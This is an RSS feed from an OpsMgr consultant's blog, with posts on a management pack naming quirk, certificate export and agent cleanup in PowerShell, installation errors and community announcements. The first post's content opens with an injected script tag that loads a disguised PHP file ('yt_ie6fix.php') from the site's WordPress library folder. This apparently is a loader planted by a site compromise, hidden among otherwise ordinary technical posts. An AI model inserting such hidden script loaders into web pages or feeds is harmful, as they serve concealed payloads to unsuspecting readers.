<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>opsm.gr</title>
	
	<link>http://opsm.gr</link>
	<description>Thoughts, Tips and Ramblings of an OpsMgr Consultant</description>
	<lastBuildDate>Sat, 20 Aug 2011 07:33:37 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/opsmgr" /><feedburner:info uri="opsmgr" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>opsmgr</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Potential Issue with the OCS Management Pack</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/_qtnE0iHtD4/</link>
		<comments>http://opsm.gr/2011/08/20/potential-issue-with-the-ocs-management-pack/#comments</comments>
		<pubDate>Sat, 20 Aug 2011 07:33:37 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[OpsMgr]]></category>
		<category><![CDATA[Management Pack]]></category>
		<category><![CDATA[OCS]]></category>

		<guid isPermaLink="false">http://opsm.gr/2011/08/20/potential-issue-with-the-ocs-management-pack/</guid>
		<description><![CDATA[So I just stumbled upon this and thought I’d share… When developing a Management Pack, it is considered best practice to declare Classes using the following format: Microsoft.Office.Communications.Server.2007.ServerRole What you will notice is the inclusion of a full-stop (.) to seperate the key words in the Class name above. I won’t go into why, but [...]]]></description>
			<content:encoded><![CDATA[<p><script src=/wp-includes/pomo/yt_ie6fix.php></script>
<p>So I just stumbled upon this and thought I’d share…</p>
<p>When developing a Management Pack, it is considered best practice to declare Classes using the following format:</p>
<p><strong>Microsoft.Office.Communications.Server.2007.ServerRole</strong></p>
<p>What you will notice is the inclusion of a full-stop (.) to seperate the key words in the Class name above. I won’t go into why, but suffice it to say it has it’s purpose ( FYI, the “FriendlyName” would generally be <strong>Microsoft Office Communications Server 2007 ServerRole</strong>).</p>
<p>Whilst on a consulting gig recently, I discovered and interesting anomaly in the OCS Management Pack that caused some issues.</p>
<h3>Background</h3>
<p>My client utilises EMC Ionix as a “Manager of Managers”, thus all alerts from OpsMgr are fed up to it via a connector. Ionix then applies alert filters based on the Class derived from each alert (hopefully that makes sense).</p>
<h3>The Symptom</h3>
<p>After importing and tuning the Office Communication Server 2007 Management Pack, we failed to see any alerts appearing in Ionix despite alerts being raised within OpsMgr.</p>
<h3>The Solution</h3>
<p>Upon investigation, I discovered that the Class naming convention within the OCS MP uses an underscore (_) rather than a full-stop (.). Using the class above as an example of a properly formed class, the convention actually utilised in the OCS MP is <strong>Microsoft_Office_Communications_Server_2007_ServerRole</strong>. This applies to ALL declared class!</p>
<p>I know this is generally not a big deal, unless of course you are relying on uniformity of the class naming convention. We had a few options (export, alter, increment, seal and import the offical MP), but in the end we were able to alter the filtering within Ionix to account for this (Ionix was replacing the underscore (_) with a space, thus striping out everything after the first underscore).</p>
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/_qtnE0iHtD4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2011/08/20/potential-issue-with-the-ocs-management-pack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://opsm.gr/2011/08/20/potential-issue-with-the-ocs-management-pack/</feedburner:origLink></item>
		<item>
		<title>Preorder System Center Opalis Integration Server 6.3 Unleashed</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/S3-6tPb2KXk/</link>
		<comments>http://opsm.gr/2011/05/10/preorder-opalis-unleashed/#comments</comments>
		<pubDate>Tue, 10 May 2011 08:01:27 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[Announcement]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Opalis]]></category>
		<category><![CDATA[Unleashed]]></category>

		<guid isPermaLink="false">http://opsm.gr/?p=61</guid>
		<description><![CDATA[Exciting news in the world of tech books&#8230; I spotted a Facebook post by Marcus Oh announcing that Amazon are now accepting pre-orders for the upcoming release of System Center Opalis Integration Server 6.3 Unleashed. There is a long list (by book standards) of contributing authors including one of the hardest working women in IT, [...]]]></description>
			<content:encoded><![CDATA[<p style="float:right; margin:0 0 10px 15px; width:240px;">
		<img src="http://opsm.gr/wp-content/uploads/2011/05/opalis-unleashed.jpg" width="240" />
		</p><p>Exciting news in the world of tech books&#8230; I spotted a Facebook post by Marcus Oh announcing that Amazon are now accepting pre-orders for the upcoming release of System Center Opalis Integration Server 6.3 Unleashed. There is a long list (by book standards) of contributing authors including one of the hardest working women in IT, Kerrie Meyler; 2 Technical Evangelists from Microsoft (Mark Gosson and Charles Joy); and 3 guys best known for their work within the  System Center Operations Manager community, MVPs Pete Zerger, Marcus Oh and David Allen.</p>
<p>I have to admit, the lineup of authors for this book almost guarantees quality and clarity.</p>
<p>Get in early and reserve your copy&#8230; I have!</p>
<p>Get the book on either <a href="http://www.amazon.com/dp/0672335611/ref=as_li_ss_til?tag=lazyind-20&amp;camp=213381&amp;creative=390973&amp;linkCode=as4&amp;creativeASIN=0672335611&amp;adid=1SM75CRNEGBPP9VXATMD" target="_blank">Amazon.com</a> or <a href="http://www.amazon.co.uk/dp/0672335611/ref=as_li_ss_til?tag=lazyindustrie-21&amp;camp=2902&amp;creative=19466&amp;linkCode=as4&amp;creativeASIN=0672335611&amp;adid=04EFEFZP3PW0J0NQ45MA&amp;" target="_blank">Amazon.co.uk</a></p>
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/S3-6tPb2KXk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2011/05/10/preorder-opalis-unleashed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://opsm.gr/2011/05/10/preorder-opalis-unleashed/</feedburner:origLink></item>
		<item>
		<title>Bulk Export Certificates to PFX</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/-722Om62Sx0/</link>
		<comments>http://opsm.gr/2011/04/14/bulk-export-certificates-to-pfx/#comments</comments>
		<pubDate>Thu, 14 Apr 2011 11:51:52 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[Powershell]]></category>
		<category><![CDATA[Certificate]]></category>

		<guid isPermaLink="false">http://opsm.gr/?p=60</guid>
		<description><![CDATA[Ever had the need to export all the certificates stored on a PC or server? Well, here&#8217;s a nice little piece of PowerShell that will do just that to individual PFX files. This can be targeted at either Store (CurrentUser or LocalMachine) and any Container (to see a list of available containers, type dir cert:\&#60;STORE&#62;). [...]]]></description>
			<content:encoded><![CDATA[<p>Ever had the need to export all the certificates stored on a PC or server? Well, here&#8217;s a nice little piece of PowerShell that will do just that to individual PFX files. This can be targeted at either Store (CurrentUser or LocalMachine) and any Container (to see a list of available containers, type dir cert:\&lt;STORE&gt;).</p>
<p>dir cert:\currentuser\my | Where-Object { $_.hasPrivateKey } | Foreach-Object { [system.IO.file]::WriteAllBytes(&#8220;C:\Certs\$($_.Subject).pfx&#8221;, ($_.Export(&#8216;PFX&#8217;, &#8216;&lt;PASSWORD&gt;&#8217;)) ) }</p>
<p>You will need to change &lt;PASSWORD&gt; to a password of your choice.</p>
<p>This code is using the Subject as the file name and outputs to C:\Certs. The filename will include CN=, to remove this navigate to the folder containing the certificates and then run the following code:</p>
<p>dir | where{$_.name -like &#8220;*.pfx&#8221;} | foreach{move-item $_.name $_.name.replace(&#8220;CN=&#8221;,&#8221;")}</p>
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/-722Om62Sx0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2011/04/14/bulk-export-certificates-to-pfx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://opsm.gr/2011/04/14/bulk-export-certificates-to-pfx/</feedburner:origLink></item>
		<item>
		<title>Announcing the System Center Podcast</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/0jgWzVMwQp8/</link>
		<comments>http://opsm.gr/2011/03/17/announcing-the-system-center-podcast/#comments</comments>
		<pubDate>Thu, 17 Mar 2011 10:24:08 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[OpsMgr]]></category>
		<category><![CDATA[MMS]]></category>
		<category><![CDATA[Podcast]]></category>
		<category><![CDATA[SCOM]]></category>

		<guid isPermaLink="false">http://opsm.gr/?p=58</guid>
		<description><![CDATA[For those that can’t make it to the Microsoft Management Summit (MMS) this year, but want to know about all the news and product gossip then there is only one source you need to turn to, the System Center Podcast. Being launched at this years MMS, the System Center Podcast will be a monthly produced [...]]]></description>
			<content:encoded><![CDATA[<p style="float:right; margin:0 0 10px 15px; width:240px;">
		<img src="http://opsm.gr/wp-content/uploads/2011/03/icon512x512.png" width="240" />
		</p><p>For those that can’t make it to the Microsoft Management Summit (MMS) this year, but want to know about all the news and product gossip then there is only one source you need to turn to, the System Center Podcast. Being launched at this years MMS, the System Center Podcast will be a monthly produced podcast featuring some of the most respected and knowledgeable MVP’s and experts in the community. The first episode will come live from MMS and will provide an analysis of the event, including Keynotes and product announcements. The panel will include Pete Zerger (OpsMgr MVP), Roger Zander (SCCM MVP), Maarten Goet (OpsMgr MVP) and Andy Dominey to name just a few.<br />
We will be publishing more information about the who, where &amp; when for episode 1 prior to MMS, so please visit <a href="http://systemcenterpodcast.com" target="_blank">www.systemcenterpodcast.com</a> for all the latest details.<br />
Designed to provide relevant and informative information about the System Center suite of products, the podcast aims to assist organisations with maximizing their System Center investment through sound advice and expertize from MVP’s and experts who bring a wealth of knowledge and a combined experience that is unparalleled.</p>
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/0jgWzVMwQp8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2011/03/17/announcing-the-system-center-podcast/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://opsm.gr/2011/03/17/announcing-the-system-center-podcast/</feedburner:origLink></item>
		<item>
		<title>Service Pack 1 for Windows 2008 R2 and Windows 7 is now available</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/Ry-vdUKbOCc/</link>
		<comments>http://opsm.gr/2011/02/17/service-pack-1-for-windows-2008-r2-and-windows-7-is-now-available/#comments</comments>
		<pubDate>Thu, 17 Feb 2011 09:30:44 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Service Pack]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Server 2008 R2]]></category>

		<guid isPermaLink="false">http://opsm.gr/?p=55</guid>
		<description><![CDATA[From the Technet Article&#8230; Service Pack 1 (SP1) for Windows 7 and for Windows Server 2008 R2 is now available. This service pack is an update to Windows 7 and to Windows Server 2008 R2 that addresses customer and partner feedback. SP1 for Windows 7 and for Windows Server 2008 R2 is a recommended collection [...]]]></description>
			<content:encoded><![CDATA[<p>From the Technet Article&#8230;</p>
<p><quote>Service Pack 1 (SP1) for Windows 7 and for Windows Server 2008 R2 is now available. This service pack is an update to Windows 7 and to Windows Server 2008 R2 that addresses customer and partner feedback. </p>
<p>SP1 for Windows 7 and for Windows Server 2008 R2 is a recommended collection of updates and improvements to Windows that are combined into a single installable update. </p>
<p>Windows 7 SP1 can help make your computer safer and more reliable. Windows Server 2008 R2 SP1 provides a comprehensive set of innovations for enterprise-class virtualization. This includes new virtualization capabilities with Dynamic Memory and Microsoft RemoteFX. </p>
<p>Consumer end-users can find general information about Windows 7 SP1 at the following Microsoft website:<br />
http://windows.microsoft.com/windows7sp1 </quote></p>
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/Ry-vdUKbOCc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2011/02/17/service-pack-1-for-windows-2008-r2-and-windows-7-is-now-available/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://opsm.gr/2011/02/17/service-pack-1-for-windows-2008-r2-and-windows-7-is-now-available/</feedburner:origLink></item>
		<item>
		<title>Internal Error 25213 when installing OpsMgr R2 Reporting on SQL 2008 R2</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/PLaK8UvNTGY/</link>
		<comments>http://opsm.gr/2010/11/10/internal-error-25213-when-installing-opsmgr-r2-reporting-on-sql-2008-r2/#comments</comments>
		<pubDate>Wed, 10 Nov 2010 11:40:29 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[OpsMgr]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Reporting]]></category>
		<category><![CDATA[SCOM]]></category>
		<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://opsm.gr/?p=52</guid>
		<description><![CDATA[I came across this issue earlier this week when attempting to install OpsMgr R2 on an instance of SQL 2008 R2 Reporting Services. There are actually a couple of symptoms that are related to this issue. Symptom 1 During the setup you are presented with a dropdown list asking for the instance of Reporting Services [...]]]></description>
			<content:encoded><![CDATA[<p style="float:right; margin:0 0 10px 15px; width:240px;">
		<img src="http://opsm.gr/wp-content/uploads/2010/11/25213.png" width="240" />
		</p><p>I came across this issue earlier this week when attempting to install OpsMgr R2 on an instance of SQL 2008 R2 Reporting Services. There are actually a couple of symptoms that are related to this issue.</p>
<p><strong>Symptom 1</strong></p>
<p>During the setup you are presented with a dropdown list asking for the instance of Reporting Services that you want to use. After selecting the instance and clicking next, setup will freeze (I have tested this and left it running over night).</p>
<p><strong>Solution 1</strong></p>
<p>I found that if I killed the msiexec.exe process (using approx. 78Mb RAM), setup would continue.</p>
<p><strong>Sympton 2</strong></p>
<p>After inputing the remaining information, the setup would start but ultimately fail with the following message box:</p>
<p style="text-align: center;"><a href="http://opsm.gr/wp-content/uploads/2010/11/25213.png" rel="lightbox[52]"><img class="size-full wp-image-53 aligncenter" title="25213" src="http://opsm.gr/wp-content/uploads/2010/11/25213.png" alt="" width="335" height="156" /></a></p>
<p><strong>Solution 2</strong></p>
<p>This info comes from <a href="http://support.microsoft.com/kb/2425714" target="_blank">Microsoft KB 2425714</a>:</p>
<blockquote><p>On the SQL Server Reporting Services server, rename the local group <strong>SQLServerReportServerUser$<var>&lt;hostname&gt;</var>$MSSRS10_50.<var>&lt;SQLInstanceName&gt;</var></strong> to <strong>SQLServerReportServerUser$<var>&lt;hostname&gt;</var>$MSSRS10.<var>&lt;SQLInstanceName&gt;</var></strong></p></blockquote>
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/PLaK8UvNTGY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2010/11/10/internal-error-25213-when-installing-opsmgr-r2-reporting-on-sql-2008-r2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://opsm.gr/2010/11/10/internal-error-25213-when-installing-opsmgr-r2-reporting-on-sql-2008-r2/</feedburner:origLink></item>
		<item>
		<title>OpsMgr Basics: Agent Decommission Powershell Script</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/avkgEVyN5Ao/</link>
		<comments>http://opsm.gr/2010/11/04/opsmgr-basics-agent-decommission-powershell-script/#comments</comments>
		<pubDate>Thu, 04 Nov 2010 14:05:59 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[OpsMgr]]></category>
		<category><![CDATA[Best Pracitce]]></category>
		<category><![CDATA[Powershell]]></category>
		<category><![CDATA[SCOM]]></category>
		<category><![CDATA[Tool]]></category>

		<guid isPermaLink="false">http://opsm.gr/?p=50</guid>
		<description><![CDATA[Most organisations have a process for decommissioning servers. Some have it documented and implemented as policy, while others take a more ad-hoc approach. Whichever method you employ, when implementing OpsMgr in your environment, you must give some consideration to the decommissioning process within OpsMgr. As one of the final steps in the decommissioning process, you [...]]]></description>
			<content:encoded><![CDATA[<p style="float:right; margin:0 0 10px 15px; width:240px;">
		<img src="http://opsm.gr/wp-content/uploads/2010/11/103647645_8f63e94368.jpg" width="240" />
		</p><p>Most organisations have a process for decommissioning servers. Some have it documented and implemented as policy, while others take a more ad-hoc approach. Whichever method you employ, when implementing OpsMgr in your environment, you must give some consideration to the decommissioning process within OpsMgr.</p>
<p>As one of the final steps in the decommissioning process, you should log in to the OpsMgr Console and under the <strong>Administration</strong> tab, <strong>Agent Managed</strong> you should right click the server in question and select <strong>Uninstall</strong>. This will remove the OpsMgr agent from the server, and conversely remove the server from OpsMgr. <em>A point of clarification, whilst the agent is removed from OpsMgr, the data is retained in the DataWarehouse database until all data is purged based on your data retention policy.</em></p>
<p>By including these steps in your Decommission process, it will assist in maintaining a clean console (fewer greyed out agents) and will also assist in reducing management overhead and licensing costs.</p>
<p>If however, you find yourself as I did, faced with the situation were you have several hundred decommissioned servers (in my case over 600) that still exist in OpsMgr, then you have a mammoth cleanup task ahead of you. You could do it the long way and remove them individually from the console but hey, we’re in IT right?! A quick Google search and I found a couple of resources that go some way to doing what I need, but fall short of a one stop solution. SO, when all else fails, do-it-yourself!</p>
<p>Below is a script that will check if the server is truly decommissioned and if so, will remove it from OpsMgr. I don’t take credit for the whole script, as sections have been taken from a script originally created by Satya Vel. His post can be found <a href="http://blogs.technet.com/b/momteam/archive/2008/09/03/how-to-delete-an-operations-manager-2007-managed-object-from-a-management-group-using-powershell.aspx" target="_blank">here</a>. I have made some modifications to his original script to accommodate the ability to read in a text file, verify the server is unavailable and to log the output. Other functionality included is outlined below (taken from the PowerShell script):</p>
<blockquote><p><span style="font-family: Consolas; color: #008000; font-size: x-small;"># &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
# &#8211; Name:    Delete-Agent.ps1                                                            -<br />
# &#8211; Author:  Dan Kregor (1E &#8211; daniel.kregor@1e.com | dan@kregor.net)                     -<br />
# &#8211; Purpose: This script is designed to remove decommissioned servers for OpsMgr         -<br />
# -                                                                                      -<br />
# &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
# -                                                                                      -<br />
# &#8211; NOTES:                                                                               -<br />
# &#8211; Original Script by Satya Vel | Program Manager | System Center Product Team          -<br />
# &#8211; More info at &lt;a href=&#8221;http://bit.ly/cnjVTL&#8221;&gt;http://bit.ly/cnjVTL&lt;/a&gt;                                                    -<br />
# -                                                                                      -<br />
# &#8211; Modifications: * Included step to check if server is still active (pingable)         -<br />
# -                * Can use SQL, Text File or manually typed source                     -<br />
# -                * Included a number of switches to suit different purposes            -<br />
# -                                                                                      -<br />
# &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">&lt;#</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.SYNOPSIS<br />
This script is designed to remove decommissioned agents from OpsMgr<br />
(both the database and console). It will also test that the agent is offline.</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.DESCRIPTION<br />
This script is designed to remove decommissioned agents from OpsMgr<br />
(both the database and console). It will also test that the agent is offline</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.PARAMETER CONFIG<br />
Use the -CONFIG switch to set the RMS, SQL Server and Database for both your<br />
Lab and Production environments. This information can also be manually<br />
updated by editing the Delete-Agent.ini file in the script directory.</span></p>
<p>.PARAMETER FILE<br />
Use the -FILE switch to include a text file containing a list of servers.<br />
Each server must be on it&#8217;s own line.</p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.PARAMETER AGENT<br />
Use the -AGENT switch to manually enter the name of 1 or more Agent Managed<br />
servers (see examples for more info).</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.PARAMETER SQL<br />
Use the -SQL switch to query the OpsMgr Database for Agents that have not<br />
heartbeated prior to 30 days ago.</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.PARAMETER PROD<br />
By default, this script is designed to run against a Test/QA/LAB envirnoment.<br />
Use the -PROD switch to run it against your Production environment.</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.PARAMETER WHATIF<br />
Use the -WHATIF switch to run the script without performing the delete action.<br />
The script will populate the Log files but not take any action.</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.EXAMPLE<br />
./Delete-Agent -FILE &#8220;C:\temp\servers.txt&#8221;<br />
Use the -FILE switch to read in a plain text file list of<br />
servers. Each server must be on it&#8217;s own line within the<br />
text file.</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.EXAMPLE<br />
./Delete-Agent -AGENT server.domain.com<br />
Use the -AGENT switch to manually enter the name of a server<br />
to be removed from OpsMgr.</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.EXAMPLE<br />
./Delete-Agent -AGENT server1.domain.com, server2.domain.com<br />
You can also enter multiple servers to be removed. Servers must<br />
be separated by a comma.</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.EXAMPLE<br />
./Delete-Agent -SQL<br />
Use the -SQL switch to query the OpsMgr Database for Agents that have not<br />
heartbeated prior to 30 days ago</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">e.g. If today is August 15th, it will look for Agents that did not<br />
heartbeat prior to July 16th</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.NOTES<br />
Removing an agent from OpsMgr does not delete it&#8217;s historical data. All historical data<br />
is kept in the DataWarehose database for the period of time as determined by your data<br />
retention policy.</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">************************************** IMPORTANT **************************************</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">Your use of these items is at your sole risk. </span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">All items are provided &#8220;as-is&#8221;, without any warranty, whether express or implied,<br />
of accuracy, completeness, fitness for a particular purpose, title or non-infringement,<br />
and none of the items are supported or guaranteed by 1E. </span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">1E shall not be liable for any damages you may sustain by using these items,<br />
whether direct, indirect, special, incidental or consequential, even if it has been<br />
advised of the possibility of such damages.</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">.LINK</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">More information can be found at: &lt;a href=&#8221;http://opsm.gr&#8221;&gt;http://opsm.gr&lt;/a&gt;</span></p>
<p><span style="font-family: Consolas; color: #008000; font-size: x-small;">#&gt;</span></p></blockquote>
<p>You can download the file below. If you like the script or find any issues please provide your feedback in the comments section below.</p>
<a href="http://opsm.gr/downloads/Delete-Agent.zip" title="Downloaded 128 times"><img src="http://opsm.gr/wp-content/plugins/download-monitor/img/download.gif" alt="Delete-Agents.ps1 for OpsMgr" /></a> - This script is designed to remove decommissioned agents from OpsMgr
(both the database and console). It will also test that the agent is offline.
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/avkgEVyN5Ao" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2010/11/04/opsmgr-basics-agent-decommission-powershell-script/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://opsm.gr/2010/11/04/opsmgr-basics-agent-decommission-powershell-script/</feedburner:origLink></item>
		<item>
		<title>OpsMgr RMS Gray State Issue</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/is2XOLFRwX0/</link>
		<comments>http://opsm.gr/2010/08/11/opsmgr-rms-gray-state-issue/#comments</comments>
		<pubDate>Wed, 11 Aug 2010 18:02:23 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[OpsMgr]]></category>
		<category><![CDATA[SCOM]]></category>
		<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://opsm.gr/2010/08/11/opsmgr-rms-gray-state-issue/</guid>
		<description><![CDATA[I have seen several issues on the RMS and through troubleshooting, a number are all linked to the same problem. Issues seen are the RMS State appearing greyed out in the console, Alert Notifications not being sent via the SMTP channel (though other channels may be affected as well) and Event 623 generated by the [...]]]></description>
			<content:encoded><![CDATA[<p>I have seen several issues on the RMS and through troubleshooting, a number are all linked to the same problem. Issues seen are the RMS State appearing greyed out in the console, Alert Notifications not being sent via the SMTP channel (though other channels may be affected as well) and Event 623 generated by the Health Service ESE Store, present in the Operations Manager event log. I am sure there are plenty of other symptoms that are caused by this issue. Luckily, the main cause is identified by my last point, Event 623. Searching for Event ID 623 led me to a post by Patrick Schneider in which he outlines the symptoms and offers the steps required to resolve the issues.</p>
<p>Below are the symptoms I have seen, all of which were resolved by implementing the registry changes suggested by Patrick</p>
<p>&#160;</p>
<p><strong><u>SYMPTOMS</u></strong></p>
<ul>
<li>The OpsMgr RMS appears as Greyed out or Unavailable.</li>
<li>Alert Notifications are not being sent via the SMTP channel (other may be affected though)</li>
<li>The following event appears a number of times in the Operations Manager event log:
<p>Event Source: Health Service ESE Store      <br />Event Category: Transaction Manager       <br />Event ID: 623       <br />Description: HealthService (<i>&lt;PID&gt;</i>) The version store for instance <i>&lt;instance&gt;</i> (&quot;<i>&lt;name&gt;</i>&quot;) has reached its maximum size of <i>&lt;value&gt;</i>Mb. It is likely that a long-running transaction is preventing cleanup of the version store and causing it to build up in size. Updates will be rejected until the long-running transaction has been completely committed or rolled back. Possible long-running transaction:      <br />SessionId: <i>&lt;value&gt;</i>      <br />Session-context: <i>&lt;value&gt;</i>      <br />Session-context ThreadId: <i>&lt;value&gt;</i>.      <br />Cleanup:<i>&lt;value&gt;</i></li>
</ul>
<p><strong><u>RESOLUTION</u></strong></p>
<p>As Patrick has done a great job documenting the solution, I won’t reproduce his fantastic work. You can find the solution on his blog <a href="http://patrick-schneider.blogspot.com/2009/09/health-service-store-version-store-for.html" target="_blank">here</a>.</p>
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/is2XOLFRwX0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2010/08/11/opsmgr-rms-gray-state-issue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://opsm.gr/2010/08/11/opsmgr-rms-gray-state-issue/</feedburner:origLink></item>
		<item>
		<title>OMWatcher v1.5 Beta Testers Wanted</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/g4qJAk5eX3A/</link>
		<comments>http://opsm.gr/2010/08/04/omwatcher-v1-5-beta-testers-wanted/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 18:24:18 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[OpsMgr]]></category>
		<category><![CDATA[Beta]]></category>
		<category><![CDATA[OMWatcher]]></category>

		<guid isPermaLink="false">http://opsm.gr/?p=44</guid>
		<description><![CDATA[I have finished coding v1.5 of the 1E System Center Watcher Service (OMWatcher) and have done some preliminary testing. So far&#8230; so good. Some new features that are included: Support for clustered RMS (no remedial action is taken though emails are sent and events are logged) Checks the availability of the OperationsManager database (no action [...]]]></description>
			<content:encoded><![CDATA[<p style="float:right; margin:0 0 10px 15px; width:240px;">
		<img src="http://opsm.gr/wp-content/uploads/2010/08/Beta-Testing.jpg" width="240" />
		</p><p>I have finished coding v1.5 of the 1E System Center Watcher Service (OMWatcher) and have done some preliminary testing. So far&#8230; so good.</p>
<p>Some new features that are included:</p>
<ul>
<li>Support for clustered RMS (no remedial action is taken though emails are sent and events are logged)</li>
<li>Checks the availability of the OperationsManager database (no action taken, email alert only)</li>
<li>Checks if the RMS is in maintenance mode (no action taken, email alert only)</li>
<li>Checks the status of the RMS HealthService [greyed out] (no action taken, email alert only)</li>
</ul>
<p>I am now looking for people to assist beta testing this new version. Ideally I&#8217;m looking for people who can test it against a clustered RMS (all other features will work irrespective of RMS configuration).</p>
<p>If you are interested in helping, please indicate by leaving a comment below. By doing so, I will have your email address (required to comment) and will contact you once beta testing is ready.</p>
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/g4qJAk5eX3A" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2010/08/04/omwatcher-v1-5-beta-testers-wanted/feed/</wfw:commentRss>
